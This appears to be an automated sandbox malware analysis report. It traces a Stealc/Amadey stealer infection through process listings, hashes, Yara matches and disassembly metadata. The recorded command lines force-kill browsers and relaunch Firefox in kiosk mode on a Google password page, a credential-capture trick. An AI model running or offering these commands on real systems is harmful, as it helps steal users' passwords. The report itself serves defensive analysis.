Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:30:23
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xef0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:30:23
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:30:23
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xef0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:30:23
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:30:23
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xef0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:30:23
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:30:23
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:30:23
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	13:30:23
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	13:30:25
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001245001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001245001\num.exe"
Imagebase:	0xab0000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.2897071906.00000000005EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.2898017549.0000000000AB1000.00000080.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000000.2877490551.0000000000AB1000.00000080.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	13:30:25
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2168 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2068 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1627ebda-6589-45a8-9dca-43cec3b82382} 7056 "\\.\pipe\gecko-crash-server-pipe.7056" 2557826ed10 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	13:30:29
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2752 -parentBuildID 20230927232528 -prefsHandle 4376 -prefMapHandle 4372 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {776ea994-b651-49e2-8a85-deca857d51f8} 7056 "\\.\pipe\gecko-crash-server-pipe.7056" 2550a5cf510 rdd
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	13:30:30
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe"
Imagebase:	0xf60000
File size:	1'852'928 bytes
MD5 hash:	FE2148029209699E0EE2CBA27C4D5F8B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3041756077.0000000000F61000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000003.2950368686.0000000005080000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3039874893.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	13:30:38
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe"
Imagebase:	0xb0000
File size:	1'934'848 bytes
MD5 hash:	23A502CF6A3D8B5AAF90B60E0163EB90
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000021.00000003.3030295147.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000021.00000002.3071469840.00000000000B1000.00000040.00000001.01000000.0000001C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	13:30:39
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe"
Imagebase:	0xcd0000
File size:	919'552 bytes
MD5 hash:	03BAA19835A87FFA911CFE9FB0763541
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	13:30:39
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xef0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	13:30:39
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	13:30:41
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe"
Imagebase:	0x770000
File size:	1'852'928 bytes
MD5 hash:	FE2148029209699E0EE2CBA27C4D5F8B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.3142989520.0000000000771000.00000040.00000001.01000000.0000001D.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.3147195806.000000000158E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000003.3055944395.0000000005150000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	13:30:43
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe"
Imagebase:	0xf80000
File size:	2'780'160 bytes
MD5 hash:	47A01F59492FF5A80511836A1707A396
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	13:30:47
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001245001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001245001\num.exe"
Imagebase:	0xab0000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000027.00000002.3188496259.0000000000AB1000.00000080.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000027.00000002.3191784603.0000000001717000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000027.00000000.3096831716.0000000000AB1000.00000080.00000001.01000000.00000014.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	13:30:55
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xef0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	13:30:55
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	13:30:55
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe"
Imagebase:	0xc30000
File size:	2'989'568 bytes
MD5 hash:	19CA4C1711E487E5C93A66F3E5398C92
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	13:30:55
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xef0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	13:30:55
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	13:30:56
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xef0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	13:30:56
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	13:30:57
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xef0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	13:30:57
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	13:30:58
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00D25DE1 Relevance: 1.8, Strings: 1, Instructions: 545COMMON

Download Yara Rule

Strings

C:\P, xrefs: 00D25E04

Memory Dump Source

Source File: 00000000.00000003.2184690433.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp, Offset: 00D1D000, based on PE: false

Associated: 00000000.00000003.2283943556.0000000000D19000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_d1d000_file.jbxd

Similarity

API ID:
String ID: C:\P
API String ID: 0-4235987749
Opcode ID: 8e7600b83e6c038e2e653e5caaeb135ed534dc635f6f436239056fca62eb4eb0
Instruction ID: cd48a04f1e6bf7a04429d0aef6ce00dc048a955efae4a711b55cc1649612d0d6
Opcode Fuzzy Hash: 8e7600b83e6c038e2e653e5caaeb135ed534dc635f6f436239056fca62eb4eb0
Instruction Fuzzy Hash: B591572100EFD1AFC7169A30BA668E5BF74BE2371870E85CFC4C14B867D2249A55C3B6

Function 00D25DE1 Relevance: 1.8, Strings: 1, Instructions: 545COMMON

Download Yara Rule

Strings

C:\P, xrefs: 00D25E04

Memory Dump Source

Source File: 00000000.00000003.2184690433.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp, Offset: 00D1E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_d1d000_file.jbxd

Similarity

API ID:
String ID: C:\P
API String ID: 0-4235987749
Opcode ID: 27674191e2feee50acd97d0abd22fe016516c7311bf64bb171f6b9c73b639584
Instruction ID: cd48a04f1e6bf7a04429d0aef6ce00dc048a955efae4a711b55cc1649612d0d6
Opcode Fuzzy Hash: 27674191e2feee50acd97d0abd22fe016516c7311bf64bb171f6b9c73b639584
Instruction Fuzzy Hash: B591572100EFD1AFC7169A30BA668E5BF74BE2371870E85CFC4C14B867D2249A55C3B6

Analysis Process: 0BSU3F1DFM4GF1Y0TBRRGTML6V.exePID: 3920, Parent PID: 4500COMMON

Executed Functions

Function 05620813 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2335010209.0000000005620000.00000040.00001000.00020000.00000000.sdmp, Offset: 05620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5620000_0BSU3F1DFM4GF1Y0TBRRGTML6V.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d61186e8d985358bbad5e11586f0a304b07f5182c3f1b5be391c2cd4e4bb385e
Instruction ID: c5986303ffb5c93262c9f79b4900dad531a870eaa270b8b7a09bcfa9430c38aa
Opcode Fuzzy Hash: d61186e8d985358bbad5e11586f0a304b07f5182c3f1b5be391c2cd4e4bb385e
Instruction Fuzzy Hash: C1D0229700C935CE0CCCD1223E0C5B72A0BA29AB303328433F00B89D40851E028BDCF0

Function 05620874 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2335010209.0000000005620000.00000040.00001000.00020000.00000000.sdmp, Offset: 05620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5620000_0BSU3F1DFM4GF1Y0TBRRGTML6V.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33a37390f8577b2569e895da9988b95b5ce859d93a7fa798f1f1d2396892f682
Instruction ID: 4db2875fa082166432d35d54459864eaed0b83f5bc16677ea311661f2ba09117
Opcode Fuzzy Hash: 33a37390f8577b2569e895da9988b95b5ce859d93a7fa798f1f1d2396892f682
Instruction Fuzzy Hash: B6E0AB8310D576DACE8286B124CE9F33F65A893D7231A9575D482C9C42C00C490BCAF1

Function 05620819 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2335010209.0000000005620000.00000040.00001000.00020000.00000000.sdmp, Offset: 05620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5620000_0BSU3F1DFM4GF1Y0TBRRGTML6V.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 171427484b4520018ccee61a940ea109a6aaccc3b0a5d03bb89910fee2c62265
Instruction ID: 3f2bc55fa81ea159606560735be511248f0e6e2cfa268bf0bc50c471cf9d87aa
Opcode Fuzzy Hash: 171427484b4520018ccee61a940ea109a6aaccc3b0a5d03bb89910fee2c62265
Instruction Fuzzy Hash: 20E0C04340CA61CECEC0C221154D5777B357B52730322807AE0828FC42C21F4607C9E1

Analysis Process: A1B0VWLBQG1NHHVW3B7EOUSWCWB.exePID: 7324, Parent PID: 4500COMMON

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	31%
Signature Coverage:	0%
Total number of Nodes:	29
Total number of Limit Nodes:	1

Executed Functions

Function 00DDCDF0 Relevance: 4.6, APIs: 3, Instructions: 55
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00DDCE2D
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00DDCE54
GetNativeSystemInfo.KERNELBASE(?), ref: 00DDCEAB

Memory Dump Source

Source File: 00000007.00000002.2471988413.0000000000DDC000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000007.00000002.2471706248.0000000000C50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471724007.0000000000C52000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471742696.0000000000C56000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471762212.0000000000C5A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471783408.0000000000C64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471801133.0000000000C65000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471819244.0000000000C66000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471911764.0000000000DB6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471931079.0000000000DB9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471952944.0000000000DCC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471952944.0000000000DD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472004356.0000000000DDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472020112.0000000000DDE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472035960.0000000000DDF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472051765.0000000000DE0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472069381.0000000000DE3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472134700.0000000000DEB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472158872.0000000000DEC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472180727.0000000000DED000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472243853.0000000000DEE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472275228.0000000000DF1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472355250.0000000000DF2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472374776.0000000000DF3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472395618.0000000000DF4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472430776.0000000000E0A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472459681.0000000000E0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472484799.0000000000E0E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472516730.0000000000E20000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472547229.0000000000E2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472572466.0000000000E2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472597003.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472624979.0000000000E30000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472654311.0000000000E31000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472680908.0000000000E32000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472708297.0000000000E40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472736714.0000000000E45000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472766135.0000000000E46000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472793283.0000000000E4B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472819406.0000000000E52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472848688.0000000000E59000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472878591.0000000000E68000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472908281.0000000000E6C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472934975.0000000000E6D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472963673.0000000000E6F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472995751.0000000000E70000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473022210.0000000000E78000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473066304.0000000000E80000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473101121.0000000000E81000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473129240.0000000000E89000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473155394.0000000000E8B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473196001.0000000000E9C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473226065.0000000000E9E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EE5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EEC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473343849.0000000000EFC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473373403.0000000000EFE000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c50000_A1B0VWLBQG1NHHVW3B7EOUSWCWB.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: cc5079f6b624e54f8a12fd5d10bca161c5204ce6eb3b32f1d51163c60944bf56
Instruction ID: 6f92d601d0a0535fd3aef3b08a46e60388ae9108304b9971c3c9365b9ebab75e
Opcode Fuzzy Hash: cc5079f6b624e54f8a12fd5d10bca161c5204ce6eb3b32f1d51163c60944bf56
